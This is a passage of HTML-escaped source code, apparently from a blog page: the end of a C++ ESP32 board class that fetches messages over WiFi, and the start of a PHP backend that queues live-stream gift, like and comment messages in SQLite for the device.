&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.text_font&amp;nbsp;=&amp;nbsp;&amp;amp;font_puhui_20_4,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.icon_font&amp;nbsp;=&amp;nbsp;&amp;amp;font_awesome_20_4,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.emoji_font&amp;nbsp;=&amp;nbsp;font_emoji_64_init(),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});
#else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display_&amp;nbsp;=&amp;nbsp;new&amp;nbsp;anim::EmoteDisplay(panel,&amp;nbsp;panel_io);
#endif
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

public:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CompactWifiBoardLCD()&amp;nbsp;:&amp;nbsp;boot_button_(BOOT_BUTTON_GPIO)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InitializeSpi();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InitializeDisplay();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InitializeButtons();

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(DISPLAY_BACKLIGHT_PIN&amp;nbsp;!=&amp;nbsp;GPIO_NUM_NC)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetBacklight()-&amp;gt;RestoreBrightness();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;延迟启动消息获取定时器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;xTaskCreate([](void*&amp;nbsp;param)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CompactWifiBoardLCD*&amp;nbsp;self&amp;nbsp;=&amp;nbsp;(CompactWifiBoardLCD*)param;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;等待WiFi稳定连接（最多30秒）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;wifi_wait_count&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while&amp;nbsp;(!WifiStation::GetInstance().IsConnected()&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;wifi_wait_count&amp;nbsp;&amp;lt;&amp;nbsp;30)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vTaskDelay(pdMS_TO_TICKS(1000));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wifi_wait_count++;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(WifiStation::GetInstance().IsConnected())&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;再等待3秒确保系统稳定
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vTaskDelay(pdMS_TO_TICKS(3000));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;StartMessageFetching();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;WiFi未连接，跳过消息获取启动&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vTaskDelete(NULL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;quot;msg_init&amp;quot;,&amp;nbsp;4096,&amp;nbsp;this,&amp;nbsp;1,&amp;nbsp;NULL);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;virtual&amp;nbsp;~CompactWifiBoardLCD()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;StopMessageFetching();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;virtual&amp;nbsp;AudioCodec*&amp;nbsp;GetAudioCodec()&amp;nbsp;override&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;NoAudioCodecSimplex&amp;nbsp;audio_codec(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AUDIO_INPUT_SAMPLE_RATE,&amp;nbsp;AUDIO_OUTPUT_SAMPLE_RATE,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AUDIO_I2S_SPK_GPIO_BCLK,&amp;nbsp;AUDIO_I2S_SPK_GPIO_LRCK,&amp;nbsp;AUDIO_I2S_SPK_GPIO_DOUT,&amp;nbsp;I2S_STD_SLOT_RIGHT,&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AUDIO_I2S_MIC_GPIO_SCK,&amp;nbsp;AUDIO_I2S_MIC_GPIO_WS,&amp;nbsp;AUDIO_I2S_MIC_GPIO_DIN,&amp;nbsp;I2S_STD_SLOT_LEFT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;amp;audio_codec;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;virtual&amp;nbsp;Display*&amp;nbsp;GetDisplay()&amp;nbsp;override&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;display_;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;virtual&amp;nbsp;Backlight*&amp;nbsp;GetBacklight()&amp;nbsp;override&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(DISPLAY_BACKLIGHT_PIN&amp;nbsp;!=&amp;nbsp;GPIO_NUM_NC)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;PwmBacklight&amp;nbsp;backlight(DISPLAY_BACKLIGHT_PIN,&amp;nbsp;DISPLAY_BACKLIGHT_OUTPUT_INVERT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;amp;backlight;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
};

DECLARE_BOARD(CompactWifiBoardLCD);&lt;/pre&gt;&lt;pre class=&quot;prism-highlight prism-language-php&quot;&gt;&amp;lt;?php
//&amp;nbsp;基础配置
header(&amp;#39;Content-Type:&amp;nbsp;application/json;&amp;nbsp;charset=utf-8&amp;#39;);
header(&amp;#39;X-XSS-Protection:&amp;nbsp;1;&amp;nbsp;mode=block&amp;#39;);

//&amp;nbsp;数据库配置
define(&amp;#39;DB_FILE&amp;#39;,&amp;nbsp;__DIR__&amp;nbsp;.&amp;nbsp;&amp;#39;/ai_messages.db&amp;#39;);

//&amp;nbsp;工具函数：获取客户端IP
function&amp;nbsp;getClientIP()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$ip&amp;nbsp;=&amp;nbsp;$_SERVER[&amp;#39;HTTP_X_FORWARDED_FOR&amp;#39;]&amp;nbsp;??&amp;nbsp;$_SERVER[&amp;#39;REMOTE_ADDR&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;未知IP&amp;#39;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;trim(explode(&amp;#39;,&amp;#39;,&amp;nbsp;$ip)[0]);
}

//&amp;nbsp;工具函数：输入清洗
function&amp;nbsp;cleanStr($str)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!is_string($str))&amp;nbsp;$str&amp;nbsp;=&amp;nbsp;(string)$str;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$str&amp;nbsp;=&amp;nbsp;trim($str);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$str&amp;nbsp;=&amp;nbsp;htmlspecialchars($str,&amp;nbsp;ENT_QUOTES,&amp;nbsp;&amp;#39;UTF-8&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;$str;
}

//&amp;nbsp;工具函数：格式化消息为嵌入式支持的字符串
function&amp;nbsp;formatToDeviceStr($messageData)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$username&amp;nbsp;=&amp;nbsp;cleanStr($messageData[&amp;#39;username&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;未知用户&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$content&amp;nbsp;=&amp;nbsp;cleanStr($messageData[&amp;#39;content&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$msgType&amp;nbsp;=&amp;nbsp;cleanStr($messageData[&amp;#39;type&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;comment&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch&amp;nbsp;($msgType)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;gift&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$giftName&amp;nbsp;=&amp;nbsp;cleanStr($messageData[&amp;#39;giftName&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;礼物&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$giftCount&amp;nbsp;=&amp;nbsp;is_numeric($messageData[&amp;#39;giftCount&amp;#39;]&amp;nbsp;??&amp;nbsp;1)&amp;nbsp;?&amp;nbsp;(int)$messageData[&amp;#39;giftCount&amp;#39;]&amp;nbsp;:&amp;nbsp;1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$countStr&amp;nbsp;=&amp;nbsp;$giftCount&amp;nbsp;&amp;gt;&amp;nbsp;1&amp;nbsp;?&amp;nbsp;&amp;quot;{$giftCount}个&amp;quot;&amp;nbsp;:&amp;nbsp;&amp;quot;1个&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;quot;{$username}送给主播{$countStr}{$giftName}&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;enter&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;quot;{$username}来了&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;like&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;quot;{$username}给主播点赞&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;#39;comment&amp;#39;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;default:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;&amp;quot;{$username}说：{$content}&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}

//&amp;nbsp;初始化数据库
function&amp;nbsp;initDatabase()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;创建消息队列表
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;exec(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CREATE&amp;nbsp;TABLE&amp;nbsp;IF&amp;nbsp;NOT&amp;nbsp;EXISTS&amp;nbsp;message_queue&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id&amp;nbsp;INTEGER&amp;nbsp;PRIMARY&amp;nbsp;KEY&amp;nbsp;AUTOINCREMENT,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;message_text&amp;nbsp;TEXT&amp;nbsp;NOT&amp;nbsp;NULL,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;message_type&amp;nbsp;VARCHAR(20)&amp;nbsp;DEFAULT&amp;nbsp;&amp;#39;comment&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;username&amp;nbsp;VARCHAR(100),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;raw_data&amp;nbsp;TEXT,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client_ip&amp;nbsp;VARCHAR(50),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;status&amp;nbsp;VARCHAR(20)&amp;nbsp;DEFAULT&amp;nbsp;&amp;#39;pending&amp;#39;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;created_at&amp;nbsp;DATETIME&amp;nbsp;DEFAULT&amp;nbsp;CURRENT_TIMESTAMP,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;processing_at&amp;nbsp;DATETIME,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;processed_at&amp;nbsp;DATETIME
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;创建索引提升查询性能
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;exec(&amp;quot;CREATE&amp;nbsp;INDEX&amp;nbsp;IF&amp;nbsp;NOT&amp;nbsp;EXISTS&amp;nbsp;idx_status&amp;nbsp;ON&amp;nbsp;message_queue(status)&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;exec(&amp;quot;CREATE&amp;nbsp;INDEX&amp;nbsp;IF&amp;nbsp;NOT&amp;nbsp;EXISTS&amp;nbsp;idx_created_at&amp;nbsp;ON&amp;nbsp;message_queue(created_at)&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db-&amp;gt;close();
}

//&amp;nbsp;添加消息到队列
function&amp;nbsp;addMessageToQueue($messageData,&amp;nbsp;$deviceStr,&amp;nbsp;$clientIP)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$db&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SQLite3(DB_FILE);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt&amp;nbsp;=&amp;nbsp;$db-&amp;gt;prepare(&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;INSERT&amp;nbsp;INTO&amp;nbsp;message_queue&amp;nbsp;(message_text,&amp;nbsp;message_type,&amp;nbsp;username,&amp;nbsp;raw_data,&amp;nbsp;client_ip,&amp;nbsp;status)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;VALUES&amp;nbsp;(:message_text,&amp;nbsp;:message_type,&amp;nbsp;:username,&amp;nbsp;:raw_data,&amp;nbsp;:client_ip,&amp;nbsp;&amp;#39;pending&amp;#39;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:message_text&amp;#39;,&amp;nbsp;$deviceStr,&amp;nbsp;SQLITE3_TEXT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:message_type&amp;#39;,&amp;nbsp;$messageData[&amp;#39;type&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;comment&amp;#39;,&amp;nbsp;SQLITE3_TEXT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:username&amp;#39;,&amp;nbsp;$messageData[&amp;#39;username&amp;#39;]&amp;nbsp;??&amp;nbsp;&amp;#39;未知用户&amp;#39;,&amp;nbsp;SQLITE3_TEXT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:raw_data&amp;#39;,&amp;nbsp;json_encode($messageData,&amp;nbsp;JSON_UNESCAPED_UNICODE),&amp;nbsp;SQLITE3_TEXT);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$stmt-&amp;gt;bindValue(&amp;#39;:client_ip&amp;#39;,&amp;nbsp;$clientIP,&amp;nbsp;SQLITE3_TEXT);
